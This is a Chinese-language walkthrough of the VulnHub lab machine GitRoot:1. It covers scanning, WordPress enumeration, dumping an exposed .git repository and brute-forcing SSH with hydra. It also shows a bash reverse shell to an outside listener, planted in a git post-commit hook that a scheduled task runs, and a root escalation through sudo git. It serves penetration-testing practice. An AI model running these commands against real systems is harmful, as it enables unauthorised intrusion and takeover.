靶机下载地址: https://www.vulnhub.com/entry/gitroot-1,488/
教程链接地址 1: https://www.hackingarticles.in/gitroot-1-vulnhub-walkthrough/
教程链接地址 2: https://h0j3n.medium.com/vulnhub-gitroot-1-d1ea5de3d10a

# 确认攻击目标

攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 WARZONE3:桥接于 192.168.0.1 的网卡,ip 未知

1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

靶机开启之前和开启之后各扫一次,得到靶机 ip 192.168.0.187

Image

2 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息
sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.187 --min-rate=5000

Image

检索到的有效服务如下所示:
22 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 http:可对 web 进行渗透测试收集信息
11211 memcache:未知端口

# 网站信息收集

打开 http://192.168.0.187/ 进行 http 信息收集

Image

提示我们有一个域名需要检查一下,将这个子域名以及它的上一级域名的 DNS 解析地址进行修改

Image

再次查看子域名,发现是一个 wordpress 站点

Image

而域名处还是原来的界面

Image

对 wordpress 站点进行扫描扫描,获取其存在的用户名
wpscan -e u --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc --url http://wp.gitroot.vuln/

Image

找到一个用户名 beth

Image

顺便爆破一下这个用户名的密码,但是没有结果

wpscan --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc -U beth -P /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://wp.gitroot.vuln/

Image

进行目录扫描,看看有没有敏感的站点

gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list- 2.3-medium.txt -u http://wp.gitroot.vuln/

Image

# 子域名扫描

都点开看了一下发现没有什么敏感的文件,既然这个站下有 wp.gitroot.vuln 这个子域名,会不会有其他的子域名,尝试一波扫描子域名

gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://wp.gitroot.vuln/ -o subdomain.txt

Image

扫描到了子域名 repo.gitroot.vuln,将其添加到本地 hosts 文件中

Image

打开 http://repo.gitroot.vuln/ 进行信息收集

Image

提示有 set.php 页面和 get.php 页面

Image

按提示设置个 key 和 value 的值看看

Image

但是好像没有什么用,get.php 文件显示不出来有价值的信息

Image

下一步就扫扫目录,看有没有什么新发现

gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list- 2.3-medium.txt -u http://repo.gitroot.vuln/

Image

所有的目录都打开看了看,发现没有什么有价值的信息

Image

换个字典在扫一波,这次用 common.txt 这个字典
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/dirb/wordlists/common.txt -u http://repo.gitroot.vuln/

Image

多得到了一个文件,为 http://repo.gitroot.vuln/.git/HEAD
访问之后显示没有权限去查看,但是确定文件是真实存在的

Image

并且可以访问得到这个文件

Image

# git-dumper 使用

对于 /.git/HEAD 文件泄漏,可以使用 git-dumper 工具,在 github 上下载

Image

python3 git_dumper.py http://repo.gitroot.vuln/ ./repo_gitroot
用此工具将源码给下载到本地的 repo_gitroot 文件夹中

Image

看了看这几个文件,有一个文件显示了几个疑似用户名

Image

有一个文件提示说去看看其他的 git 仓库

Image

# git 切换历史仓库

一个一个的 git show,在一个仓库中找到了如下的代码
git show ce3843e497dd28f992250d36ee1b4e8c9e0f18e9

Image

或者用 git reset --hard 来切换 git 的仓库信息
git reset --hard b069fdde4cf12980175c3fbd79316fe42b57e19a

Image

-> 得到了一组用户和密码 pablo:ihjedpvqfe

但是这个用户和密码是来不到这台服务器的

Image

# hydra 爆破 ssh

看来只有自己设置用户名字典来爆破了,先尝试自己输入一些在收集信息过程中看到的疑似密码的字典

Image
1
2
3
# 用自定义的密码爆破没有结果,就用rockyou.txt字典来爆破
hydra -L user.txt -P passwd.txt ssh://192.168.0.187 -f -t 64 -I -vV
hydra -L user.txt -P rockyou.txt ssh://192.168.0.187 -f -t 64 -I -vV
Image Image

需要爆破很长时间才能爆破出来,目前还没有找到更快的爆破的方法

# sshpass 连接靶机

第一次登陆点击确认连接,之后就可以用 sshpass 来登陆
sshpass -p mastergitar ssh pablo@192.168.0.187

Image

# 服务器信息收集

之前在 git 不同的版本上找过过一个密码,看一看服务器有哪些用户,试试之前哪个密码是不是这几个用户的密码,依次尝试 jen beth root,发现 ihjedpvqfe 不是个密码

Image

用户文件下提示需要检查一个新的 git 仓库

Image

既然有新的 git 仓库,肯定有个.git 文件,直接 find 全局搜索

Image

进到这个文件夹下,依次使用 git show 查看不同的本地仓库的改变

Image

没有什么新发现,在看看这个文件夹下有没有什么敏感文件

居然发现了一个非常奇怪的文件,有这么多前缀相同的,肯定有什么问题

Image

排序查看有什么情况 ls -Alh | sort -k4 | tail -n5
看到 dev-43 与众不同,查看其内容之后有一些 git 的提交信息

Image

查看到第三条日志中是增加了一些信息,用 git show 查看一下增加的信息
git show 06fbefc1da56b8d552cfa299924097ba1213dd93

Image

得到了一个密码,用这个密码成功拿到了 beth 用户的权限

Image

在用户目录下看到了一个提示文件

Image

只需要将 zip 文件放在~jen/public/repos/ 下,就会将它自动解压到 jen 仓库,看来是 jen 用户的一个定期执行任务的脚本

Image

# linux 使用 7z

测试了一下,服务器上没有 unzip 命令,但是有 7z 命令,构造下列 Linux 命令
cd /tmp;git init;echo -e ‘#!/bin/bash \nbash -i >& /dev/tcp/192.168.0.168/4444 0>&1’ > /tmp/.git/hooks/post-commit;chmod 777 /tmp/.git/hooks/post-commit;7z a /tmp/shell.zip/tmp/.git;cp /tmp/shell.zip/home/jen/public/repos/

Image

这个复合的 linux 命令的作用就是将反弹 shell 的脚本打印到一个新的 git 仓库的 hooks/post-commit 中,并且赋予可执行权限,在用 7z 进行压缩为 zip,最后在将其复制到 jen 用户下的 repos 中。

监听 shell 等待 jen 用户的 shell 反弹出来,接收到之后标准化 tty

Image

到处看一看文件,都翻阅一下看看有敏感信息没有

Image

# .viminfo 信息泄漏

发现 viminfo 中有一个 binzpbeocnexoe,可能是个密码

Image

su root 尝试了一下,是失败的,它不是 root 的密码,继续试一下,发现它就是用户 jen 的密

# sudo (git) 提权

这样子就可以用来看 jen 的权限设置,看是否有什么问题,找到了 jen 用户可以直接调用 root 的 git 命令执行

Image
1
2
3
# 在gtfobins上找到了提权方法
sudo git help config
!/bin/bash
Image

-> 成功拿到了 root 的 shell

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝